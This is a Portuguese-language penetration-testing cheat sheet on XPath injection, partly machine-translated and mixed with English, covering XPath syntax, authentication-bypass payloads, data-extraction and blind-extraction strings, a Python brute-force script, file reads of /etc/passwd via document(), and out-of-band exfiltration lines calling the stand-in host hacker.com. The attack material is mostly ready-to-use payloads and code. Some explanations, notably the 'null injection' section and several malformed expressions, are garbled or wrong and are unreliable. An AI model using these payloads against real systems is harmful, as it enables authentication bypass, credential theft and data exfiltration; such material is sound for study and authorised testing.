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Injeção de XPATH

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Sintaxe básica

A injeção de XPATH é uma técnica de ataque usada para explorar aplicativos que constroem consultas XPath (XML Path Language) a partir de entrada fornecida pelo usuário para consultar ou navegar em documentos XML.

Informações sobre como fazer consultas: https://www.w3schools.com/xml/xpath_syntax.asp

Nós

Expressão Descrição
nodename Seleciona todos os nós com o nome "nodename"
/ Seleciona a partir do nó raiz
// Seleciona nós no documento a partir do nó atual que correspondem à seleção, não importa onde estejam
. Seleciona o nó atual
.. Seleciona o pai do nó atual
@ Seleciona atributos

Exemplos:

Expressão do caminho Resultado
bookstore Seleciona todos os nós com o nome "bookstore"
/bookstore Seleciona o elemento raiz bookstoreNota: Se o caminho começar com uma barra ( / ), ele sempre representa um caminho absoluto para um elemento!
bookstore/book Seleciona todos os elementos book que são filhos de bookstore
//book Seleciona todos os elementos book não importa onde eles estejam no documento
bookstore//book Seleciona todos os elementos book que são descendentes do elemento bookstore, não importa onde eles estejam sob o elemento bookstore
//@lang Seleciona todos os atributos que são nomeados lang

Predicados

Expressão do caminho Resultado
/bookstore/book[1]

Seleciona o primeiro elemento book que é filho do elemento bookstore.Nota: No IE 5,6,7,8,9 o primeiro nó é[0], mas de acordo com a W3C, é [1]. Para resolver esse problema no IE, defina a SelectionLanguage como XPath:

Em JavaScript: xml.setProperty("SelectionLanguage","XPath");
/bookstore/book[last()] Seleciona o último elemento book que é filho do elemento bookstore
/bookstore/book[last()-1] Seleciona o penúltimo elemento book que é filho do elemento bookstore
/bookstore/book[position()<3] Seleciona os dois primeiros elementos book que são filhos do elemento bookstore
//title[@lang] Seleciona todos os elementos title que têm um atributo chamado lang
//title[@lang='en'] Seleciona todos os elementos title que têm um atributo "lang" com um valor de "en"
/bookstore/book[price>35.00] Seleciona todos os elementos book do elemento bookstore que têm um elemento price com um valor maior que 35.00
/bookstore/book[price>35.00]/title Seleciona todos os elementos title dos elementos book do elemento bookstore que têm um elemento price com um valor maior que 35.00

Nós desconhecidos

Coringa Descrição
* Corresponde a qualquer nó de elemento
@* Corresponde a qualquer nó de atributo
node() Corresponde a qualquer nó de qualquer tipo

Exemplos:

Expressão do caminho Resultado
/bookstore/* Seleciona todos os nós de elementos filhos do elemento bookstore
//* Seleciona todos os elementos no documento
//title[@*] Seleciona todos os elementos title que têm pelo menos um atributo de qualquer tipo

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Exemplo

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
<user>
    <name>fino</name>
    <password>fino2</password>
    <account>regular</account>
</user>
</data>

Acessando a informação

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificando e roubando o esquema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
    <a>
        <b></b>
    </a>
    <c>
        <d></d>
        <e></e>
        <f>
            <h></h>
        </f>
    </c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass de Autenticação

Exemplo de consultas:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Bypass OR em usuário e senha (mesmo valor em ambos)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Explorando a injeção de nulo

Descrição

A injeção de nulo é uma técnica de injeção de XPath que explora a maneira como o XPath lida com valores nulos. Quando um valor nulo é passado para uma expressão XPath, o resultado é sempre um valor nulo. Isso pode ser explorado para ignorar partes da expressão XPath e acessar dados que normalmente não seriam acessíveis.

Exemplo

Considere a seguinte expressão XPath:

//user[username/text()='admin' and password/text()='password']

Se o valor do parâmetro password for nulo, a expressão XPath se tornará:

//user[username/text()='admin' and password/text()=()]

O resultado dessa expressão XPath será sempre um valor nulo, independentemente do valor do nome de usuário. Isso significa que o valor do nome de usuário não precisa ser verificado e que a expressão XPath retornará todos os usuários, incluindo o usuário admin.

Prevenção

A melhor maneira de prevenir a injeção de nulo é garantir que todos os valores de entrada sejam verificados e tratados adequadamente. Isso pode ser feito usando funções como coalesce() ou ifnull() para garantir que os valores nulos sejam tratados corretamente. Além disso, é importante garantir que todas as expressões XPath sejam construídas usando bibliotecas seguras e que as entradas do usuário sejam validadas antes de serem usadas em uma expressão XPath.

Username: ' or 1]%00

Duplo OR no nome de usuário ou na senha (é válido com apenas 1 campo vulnerável)

IMPORTANTE: Note que o "e" é a primeira operação realizada.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extração de String

A saída contém strings e o usuário pode manipular os valores para realizar a busca:

/user/username[contains(., '+VALUE+')]

') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploração Cega

Obter o comprimento de um valor e extraí-lo por comparações:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemplo em Python

Aqui está um exemplo de como explorar uma vulnerabilidade de injeção de XPath em Python:

import requests
from lxml import etree

url = "http://example.com/search"
query = "admin' or 1=1 or 'a'='a"

response = requests.post(url, data={"q": query})

tree = etree.fromstring(response.content)

results = tree.xpath("//result")

for result in results:
    print(result.text)

Neste exemplo, estamos enviando uma consulta de pesquisa para um site e explorando a vulnerabilidade de injeção de XPath adicionando uma cláusula or que sempre retorna verdadeiro. Em seguida, analisamos a resposta do servidor usando a biblioteca lxml e extraímos os resultados da pesquisa usando uma expressão XPath.

import requests, string 

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30): 
    r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) 
    if ("TRUE_COND" in r.text): 
        l = i 
        break 
print("[+] Password length: " + str(l)) 
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) 
    for al in alphabet: 
        r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
        if ("TRUE_COND" in r.text): 
            flag += al
            print("[+] Flag: " + flag) 
            break

Ler arquivo

O ataque de injeção XPath pode ser usado para ler arquivos do sistema de arquivos do servidor. Para fazer isso, você precisa encontrar um ponto de injeção XPath e usar a função document() para ler o arquivo desejado.

Por exemplo, se você quiser ler o arquivo /etc/passwd, pode usar a seguinte expressão XPath:

document('/etc/passwd')

Isso retornará o conteúdo do arquivo /etc/passwd. No entanto, é importante notar que nem sempre é possível ler arquivos arbitrários do sistema de arquivos do servidor, pois o servidor pode ter restrições de segurança que impedem o acesso a determinados arquivos.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploração OOB

Introdução

Out-of-Band (OOB) é uma técnica de exploração que permite que o atacante obtenha informações do sistema alvo sem precisar receber uma resposta direta do servidor. Em vez disso, o atacante usa um canal secundário para receber as informações. Isso pode ser útil em cenários em que o servidor não responde diretamente ao atacante ou quando o atacante não pode receber a resposta diretamente.

OOB via DNS

Uma das maneiras mais comuns de realizar OOB é usando DNS. O atacante pode enviar uma solicitação DNS para um servidor controlado por ele e incluir informações do sistema alvo na solicitação. O servidor DNS controlado pelo atacante responderá com as informações solicitadas, permitindo que o atacante obtenha informações do sistema alvo sem precisar se comunicar diretamente com ele.

OOB via HTTP

Outra maneira de realizar OOB é usando HTTP. O atacante pode incluir informações do sistema alvo em uma solicitação HTTP para um servidor controlado por ele. O servidor HTTP controlado pelo atacante responderá com as informações solicitadas, permitindo que o atacante obtenha informações do sistema alvo sem precisar se comunicar diretamente com ele.

OOB via SMTP

OOB também pode ser realizado usando SMTP. O atacante pode enviar um e-mail para um servidor controlado por ele e incluir informações do sistema alvo no corpo do e-mail. O servidor SMTP controlado pelo atacante responderá com as informações solicitadas, permitindo que o atacante obtenha informações do sistema alvo sem precisar se comunicar diretamente com ele.

Conclusão

OOB é uma técnica de exploração útil que permite que o atacante obtenha informações do sistema alvo sem precisar se comunicar diretamente com ele. Usando canais secundários, como DNS, HTTP ou SMTP, o atacante pode obter informações do sistema alvo sem ser detectado. É importante estar ciente dessa técnica de exploração ao realizar testes de penetração em sistemas alvo.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Ferramenta automática

{% embed url="https://xcat.readthedocs.io/" %}

Referências

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}

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